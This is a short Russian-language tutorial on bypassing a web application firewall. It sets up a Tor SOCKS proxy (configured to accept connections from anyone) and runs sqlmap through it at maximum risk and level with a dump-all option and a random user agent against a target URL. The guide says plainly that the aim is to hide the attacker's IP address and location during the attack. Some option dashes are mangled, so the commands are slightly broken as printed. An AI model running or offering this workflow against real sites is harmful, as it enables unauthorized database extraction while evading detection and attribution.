Обход WAF с помощью SQLmap и Tor

Tor — это популярное программное обеспечение с открытым исходным кодом, используемое для анонимного общения в Интернете. Он обычно используется для анонимизации действий в сети. Один из способов использования Tor — настроить прокси-сервер Tor SOCKS на Linux или MacBook.

Установка Tor на Linux и macOS

Linux

1	sudo apt-get install tor

macOS

1	brew install tor

Настройка прокси-сервера Tor SOCKS

Чтобы настроить прокси-сервер Tor SOCKS, необходимо изменить файл конфигурации Tor, который обычно находится здесь:

1	/etc/tor/torrc

Откройте файл в вашем текстовом редакторе и добавьте следующие строки в конец файла:

1 2	SOCKSPort 9050 SOCKSPolicy accept *

Теперь после добавления, прокси-сервер Tor SOCKS будет прослушивать порт 9050 и разрешать все входящие соединения.

Перезапуск Tor

Linux

1	sudo systemctl restart tor

macOS

1	brew services restart tor

Проверка прокси-сервера Tor SOCKS

Чтобы получить общедоступный IP-адрес с помощью команды curl через прокси-сервер Tor SOCKS, выполните команду:

1	curl — socks5-hostname localhost:9050 https://api.ipify.org/

Если вы видите IP отличный от вашего IP-адреса, тогда все робит.

Запуск SqlMap с помощью Tor

1	sqlmap -u “https://example.com/sitemap.xml?offset=1*" — risk=3 — level=5 -a — random-agent — tor

Параметр —tor запускает прокси-сервер Tor, который будет использоваться в атаке. Это поможет скрыть свой IP-адрес и местоположение, направляя атаку через прокси-сервер.